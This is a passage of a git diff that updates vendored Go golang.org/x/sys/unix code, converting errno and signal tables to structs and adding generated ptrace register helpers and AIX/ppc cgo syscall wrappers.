-- 89: "operation not applicable",
-- 90: "number of symbolic links encountered during path name traversal exceeds MAXSYMLINKS",
-- 91: "error 91",
-- 92: "error 92",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "option not supported by protocol",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported on transport endpoint",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol family",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection because of reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 143: "cannot send after socket shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale NFS file handle",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "not owner"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "I/O error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "arg list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file number"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "not enough space"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "file table overflow"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "deadlock situation detected/avoided"},
-+ {46, "ENOLCK", "no record locks available"},
-+ {47, "ECANCELED", "operation canceled"},
-+ {48, "ENOTSUP", "operation not supported"},
-+ {49, "EDQUOT", "disc quota exceeded"},
-+ {50, "EBADE", "bad exchange descriptor"},
-+ {51, "EBADR", "bad request descriptor"},
-+ {52, "EXFULL", "message tables full"},
-+ {53, "ENOANO", "anode table overflow"},
-+ {54, "EBADRQC", "bad request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock"},
-+ {57, "EBFONT", "bad font file format"},
-+ {58, "EOWNERDEAD", "owner of the lock died"},
-+ {59, "ENOTRECOVERABLE", "lock is not recoverable"},
-+ {60, "ENOSTR", "not a stream device"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of stream resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "ELOCKUNMAPPED", "locked lock was unmapped "},
-+ {73, "ENOTACTIVE", "facility is not active"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "not a data message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in more shared libraries than system limit"},
-+ {87, "ELIBEXEC", "can not exec a shared library directly"},
-+ {88, "EILSEQ", "illegal byte sequence"},
-+ {89, "ENOSYS", "operation not applicable"},
-+ {90, "ELOOP", "number of symbolic links encountered during path name traversal exceeds MAXSYMLINKS"},
-+ {91, "ERESTART", "error 91"},
-+ {92, "ESTRPIPE", "error 92"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "option not supported by protocol"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "EOPNOTSUPP", "operation not supported on transport endpoint"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection because of reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {143, "ESHUTDOWN", "cannot send after socket shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale NFS file handle"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal Instruction",
-- 5: "trace/Breakpoint Trap",
-- 6: "abort",
-- 7: "emulation Trap",
-- 8: "arithmetic Exception",
-- 9: "killed",
-- 10: "bus Error",
-- 11: "segmentation Fault",
-- 12: "bad System Call",
-- 13: "broken Pipe",
-- 14: "alarm Clock",
-- 15: "terminated",
-- 16: "user Signal 1",
-- 17: "user Signal 2",
-- 18: "child Status Changed",
-- 19: "power-Fail/Restart",
-- 20: "window Size Change",
-- 21: "urgent Socket Condition",
-- 22: "pollable Event",
-- 23: "stopped (signal)",
-- 24: "stopped (user)",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual Timer Expired",
-- 29: "profiling Timer Expired",
-- 30: "cpu Limit Exceeded",
-- 31: "file Size Limit Exceeded",
-- 32: "no runnable lwp",
-- 33: "inter-lwp signal",
-- 34: "checkpoint Freeze",
-- 35: "checkpoint Thaw",
-- 36: "thread Cancellation",
-- 37: "resource Lost",
-- 38: "resource Control Exceeded",
-- 39: "reserved for JVM 1",
-- 40: "reserved for JVM 2",
-- 41: "information Request",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal Instruction"},
-+ {5, "SIGTRAP", "trace/Breakpoint Trap"},
-+ {6, "SIGABRT", "abort"},
-+ {7, "SIGEMT", "emulation Trap"},
-+ {8, "SIGFPE", "arithmetic Exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus Error"},
-+ {11, "SIGSEGV", "segmentation Fault"},
-+ {12, "SIGSYS", "bad System Call"},
-+ {13, "SIGPIPE", "broken Pipe"},
-+ {14, "SIGALRM", "alarm Clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user Signal 1"},
-+ {17, "SIGUSR2", "user Signal 2"},
-+ {18, "SIGCHLD", "child Status Changed"},
-+ {19, "SIGPWR", "power-Fail/Restart"},
-+ {20, "SIGWINCH", "window Size Change"},
-+ {21, "SIGURG", "urgent Socket Condition"},
-+ {22, "SIGIO", "pollable Event"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped (user)"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual Timer Expired"},
-+ {29, "SIGPROF", "profiling Timer Expired"},
-+ {30, "SIGXCPU", "cpu Limit Exceeded"},
-+ {31, "SIGXFSZ", "file Size Limit Exceeded"},
-+ {32, "SIGWAITING", "no runnable lwp"},
-+ {33, "SIGLWP", "inter-lwp signal"},
-+ {34, "SIGFREEZE", "checkpoint Freeze"},
-+ {35, "SIGTHAW", "checkpoint Thaw"},
-+ {36, "SIGCANCEL", "thread Cancellation"},
-+ {37, "SIGLOST", "resource Lost"},
-+ {38, "SIGXRES", "resource Control Exceeded"},
-+ {39, "SIGJVM1", "reserved for JVM 1"},
-+ {40, "SIGJVM2", "reserved for JVM 2"},
-+ {41, "SIGINFO", "information Request"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go b/vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go
-new file mode 100644
-index 00000000..89c5920e
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go
-@@ -0,0 +1,41 @@
-+// Code generated by linux/mkall.go generatePtracePair("arm", "arm64"). DO NOT EDIT.
-+
-+// +build linux
-+// +build arm arm64
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegsArm is the registers used by arm binaries.
-+type PtraceRegsArm struct {
-+ Uregs [18]uint32
-+}
-+
-+// PtraceGetRegsArm fetches the registers used by arm binaries.
-+func PtraceGetRegsArm(pid int, regsout *PtraceRegsArm) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsArm sets the registers used by arm binaries.
-+func PtraceSetRegsArm(pid int, regs *PtraceRegsArm) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsArm64 is the registers used by arm64 binaries.
-+type PtraceRegsArm64 struct {
-+ Regs [31]uint64
-+ Sp uint64
-+ Pc uint64
-+ Pstate uint64
-+}
-+
-+// PtraceGetRegsArm64 fetches the registers used by arm64 binaries.
-+func PtraceGetRegsArm64(pid int, regsout *PtraceRegsArm64) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsArm64 sets the registers used by arm64 binaries.
-+func PtraceSetRegsArm64(pid int, regs *PtraceRegsArm64) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go b/vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go
-new file mode 100644
-index 00000000..6cb6d688
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go
-@@ -0,0 +1,17 @@
-+// Code generated by linux/mkall.go generatePtraceRegSet("arm64"). DO NOT EDIT.
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceGetRegSetArm64 fetches the registers used by arm64 binaries.
-+func PtraceGetRegSetArm64(pid, addr int, regsout *PtraceRegsArm64) error {
-+ iovec := Iovec{(*byte)(unsafe.Pointer(regsout)), uint64(unsafe.Sizeof(*regsout))}
-+ return ptrace(PTRACE_GETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec)))
-+}
-+
-+// PtraceSetRegSetArm64 sets the registers used by arm64 binaries.
-+func PtraceSetRegSetArm64(pid, addr int, regs *PtraceRegsArm64) error {
-+ iovec := Iovec{(*byte)(unsafe.Pointer(regs)), uint64(unsafe.Sizeof(*regs))}
-+ return ptrace(PTRACE_SETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go b/vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go
-new file mode 100644
-index 00000000..24b841ee
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go
-@@ -0,0 +1,50 @@
-+// Code generated by linux/mkall.go generatePtracePair("mips", "mips64"). DO NOT EDIT.
-+
-+// +build linux
-+// +build mips mips64
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegsMips is the registers used by mips binaries.
-+type PtraceRegsMips struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMips fetches the registers used by mips binaries.
-+func PtraceGetRegsMips(pid int, regsout *PtraceRegsMips) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMips sets the registers used by mips binaries.
-+func PtraceSetRegsMips(pid int, regs *PtraceRegsMips) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsMips64 is the registers used by mips64 binaries.
-+type PtraceRegsMips64 struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMips64 fetches the registers used by mips64 binaries.
-+func PtraceGetRegsMips64(pid int, regsout *PtraceRegsMips64) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMips64 sets the registers used by mips64 binaries.
-+func PtraceSetRegsMips64(pid int, regs *PtraceRegsMips64) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go b/vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go
-new file mode 100644
-index 00000000..47b04895
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go
-@@ -0,0 +1,50 @@
-+// Code generated by linux/mkall.go generatePtracePair("mipsle", "mips64le"). DO NOT EDIT.
-+
-+// +build linux
-+// +build mipsle mips64le
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegsMipsle is the registers used by mipsle binaries.
-+type PtraceRegsMipsle struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMipsle fetches the registers used by mipsle binaries.
-+func PtraceGetRegsMipsle(pid int, regsout *PtraceRegsMipsle) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMipsle sets the registers used by mipsle binaries.
-+func PtraceSetRegsMipsle(pid int, regs *PtraceRegsMipsle) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsMips64le is the registers used by mips64le binaries.
-+type PtraceRegsMips64le struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMips64le fetches the registers used by mips64le binaries.
-+func PtraceGetRegsMips64le(pid int, regsout *PtraceRegsMips64le) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMips64le sets the registers used by mips64le binaries.
-+func PtraceSetRegsMips64le(pid int, regs *PtraceRegsMips64le) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_x86_linux.go b/vendor/golang.org/x/sys/unix/zptrace_x86_linux.go
-new file mode 100644
-index 00000000..ea5d9cb5
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_x86_linux.go
-@@ -0,0 +1,80 @@
-+// Code generated by linux/mkall.go generatePtracePair("386", "amd64"). DO NOT EDIT.
-+
-+// +build linux
-+// +build 386 amd64
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegs386 is the registers used by 386 binaries.
-+type PtraceRegs386 struct {
-+ Ebx int32
-+ Ecx int32
-+ Edx int32
-+ Esi int32
-+ Edi int32
-+ Ebp int32
-+ Eax int32
-+ Xds int32
-+ Xes int32
-+ Xfs int32
-+ Xgs int32
-+ Orig_eax int32
-+ Eip int32
-+ Xcs int32
-+ Eflags int32
-+ Esp int32
-+ Xss int32
-+}
-+
-+// PtraceGetRegs386 fetches the registers used by 386 binaries.
-+func PtraceGetRegs386(pid int, regsout *PtraceRegs386) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegs386 sets the registers used by 386 binaries.
-+func PtraceSetRegs386(pid int, regs *PtraceRegs386) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsAmd64 is the registers used by amd64 binaries.
-+type PtraceRegsAmd64 struct {
-+ R15 uint64
-+ R14 uint64
-+ R13 uint64
-+ R12 uint64
-+ Rbp uint64
-+ Rbx uint64
-+ R11 uint64
-+ R10 uint64
-+ R9 uint64
-+ R8 uint64
-+ Rax uint64
-+ Rcx uint64
-+ Rdx uint64
-+ Rsi uint64
-+ Rdi uint64
-+ Orig_rax uint64
-+ Rip uint64
-+ Cs uint64
-+ Eflags uint64
-+ Rsp uint64
-+ Ss uint64
-+ Fs_base uint64
-+ Gs_base uint64
-+ Ds uint64
-+ Es uint64
-+ Fs uint64
-+ Gs uint64
-+}
-+
-+// PtraceGetRegsAmd64 fetches the registers used by amd64 binaries.
-+func PtraceGetRegsAmd64(pid int, regsout *PtraceRegsAmd64) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsAmd64 sets the registers used by amd64 binaries.
-+func PtraceSetRegsAmd64(pid int, regs *PtraceRegsAmd64) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go
-new file mode 100644
-index 00000000..ed657ff1
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go
-@@ -0,0 +1,1484 @@
-+// go run mksyscall_aix_ppc.go -aix -tags aix,ppc syscall_aix.go syscall_aix_ppc.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build aix,ppc
-+
-+package unix
-+
-+/*
-+#include <stdint.h>
-+#include <stddef.h>
-+int utimes(uintptr_t, uintptr_t);
-+int utimensat(int, uintptr_t, uintptr_t, int);
-+int getcwd(uintptr_t, size_t);
-+int accept(int, uintptr_t, uintptr_t);
-+int getdirent(int, uintptr_t, size_t);
-+int wait4(int, uintptr_t, int, uintptr_t);
-+int ioctl(int, int, uintptr_t);
-+int fcntl(uintptr_t, int, uintptr_t);
-+int acct(uintptr_t);
-+int chdir(uintptr_t);
-+int chroot(uintptr_t);
-+int close(int);
-+int dup(int);
-+void exit(int);
-+int faccessat(int, uintptr_t, unsigned int, int);
-+int fchdir(int);
-+int fchmod(int, unsigned int);
-+int fchmodat(int, uintptr_t, unsigned int, int);
-+int fchownat(int, uintptr_t, int, int, int);
-+int fdatasync(int);
-+int fsync(int);
-+int getpgid(int);
-+int getpgrp();
-+int getpid();
-+int getppid();
-+int getpriority(int, int);
-+int getrusage(int, uintptr_t);
-+int getsid(int);
-+int kill(int, int);
-+int syslog(int, uintptr_t, size_t);
-+int mkdir(int, uintptr_t, unsigned int);
-+int mkdirat(int, uintptr_t, unsigned int);
-+int mkfifo(uintptr_t, unsigned int);
-+int mknod(uintptr_t, unsigned int, int);
-+int mknodat(int, uintptr_t, unsigned int, int);
-+int nanosleep(uintptr_t, uintptr_t);
-+int open64(uintptr_t, int, unsigned int);
-+int openat(int, uintptr_t, int, unsigned int);
-+int read(int, uintptr_t, size_t);
-+int readlink(uintptr_t, uintptr_t, size_t);
-+int renameat(int, uintptr_t, int, uintptr_t);
-+int setdomainname(uintptr_t, size_t);
-+int sethostname(uintptr_t, size_t);
-+int setpgid(int, int);
-+int setsid();
-+int settimeofday(uintptr_t);
-+int setuid(int);
-+int setgid(int);
-+int setpriority(int, int, int);
-+int statx(int, uintptr_t, int, int, uintptr_t);
-+int sync();
-+uintptr_t times(uintptr_t);
-+int umask(int);
-+int uname(uintptr_t);
-+int unlink(uintptr_t);
-+int unlinkat(int, uintptr_t, int);
-+int ustat(int, uintptr_t);
-+int write(int, uintptr_t, size_t);
-+int dup2(int, int);
-+int posix_fadvise64(int, long long, long long, int);
-+int fchown(int, int, int);
-+int fstat(int, uintptr_t);
-+int fstatat(int, uintptr_t, uintptr_t, int);
-+int fstatfs(int, uintptr_t);
-+int ftruncate(int, long long);
-+int getegid();
-+int geteuid();
-+int getgid();
-+int getuid();
-+int lchown(uintptr_t, int, int);
-+int listen(int, int);
-+int lstat(uintptr_t, uintptr_t);
-+int pause();
-+int pread64(int, uintptr_t, size_t, long long);
-+int pwrite64(int, uintptr_t, size_t, long long);
-+#define c_select select
-+int select(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int pselect(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int setregid(int, int);
-+int setreuid(int, int);
-+int shutdown(int, int);
-+long long splice(int, uintptr_t, int, uintptr_t, int, int);
-+int stat(uintptr_t, uintptr_t);
-+int statfs(uintptr_t, uintptr_t);
-+int truncate(uintptr_t, long long);
-+int bind(int, uintptr_t, uintptr_t);
-+int connect(int, uintptr_t, uintptr_t);
-+int getgroups(int, uintptr_t);
-+int setgroups(int, uintptr_t);
-+int getsockopt(int, int, int, uintptr_t, uintptr_t);
-+int setsockopt(int, int, int, uintptr_t, uintptr_t);
-+int socket(int, int, int);
-+int socketpair(int, int, int, uintptr_t);
-+int getpeername(int, uintptr_t, uintptr_t);
-+int getsockname(int, uintptr_t, uintptr_t);
-+int recvfrom(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int sendto(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int nrecvmsg(int, uintptr_t, int);
-+int nsendmsg(int, uintptr_t, int);
-+int munmap(uintptr_t, uintptr_t);
-+int madvise(uintptr_t, size_t, int);
-+int mprotect(uintptr_t, size_t, int);
-+int mlock(uintptr_t, size_t);
-+int mlockall(int);
-+int msync(uintptr_t, size_t, int);
-+int munlock(uintptr_t, size_t);
-+int munlockall();
-+int pipe(uintptr_t);
-+int poll(uintptr_t, int, int);
-+int gettimeofday(uintptr_t, uintptr_t);
-+int time(uintptr_t);
-+int utime(uintptr_t, uintptr_t);
-+unsigned long long getsystemcfg(int);
-+int umount(uintptr_t);
-+int getrlimit64(int, uintptr_t);
-+int setrlimit64(int, uintptr_t);
-+long long lseek64(int, long long, int);
-+uintptr_t mmap(uintptr_t, uintptr_t, int, int, int, long long);
-+
-+*/
-+import "C"
-+import (
-+ "unsafe"
-+)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.utimes(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(times))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.utimensat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(times))), C.int(flag))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getcwd(buf []byte) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.getcwd(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-+ r0, er := C.accept(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getdirent(fd int, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.getdirent(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error) {
-+ r0, er := C.wait4(C.int(pid), C.uintptr_t(uintptr(unsafe.Pointer(status))), C.int(options), C.uintptr_t(uintptr(unsafe.Pointer(rusage))))
-+ wpid = Pid_t(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ r0, er := C.ioctl(C.int(fd), C.int(req), C.uintptr_t(arg))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func FcntlInt(fd uintptr, cmd int, arg int) (r int, err error) {
-+ r0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg))
-+ r = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) {
-+ r0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(uintptr(unsafe.Pointer(lk))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg))
-+ val = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Acct(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.acct(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Chdir(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.chdir(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
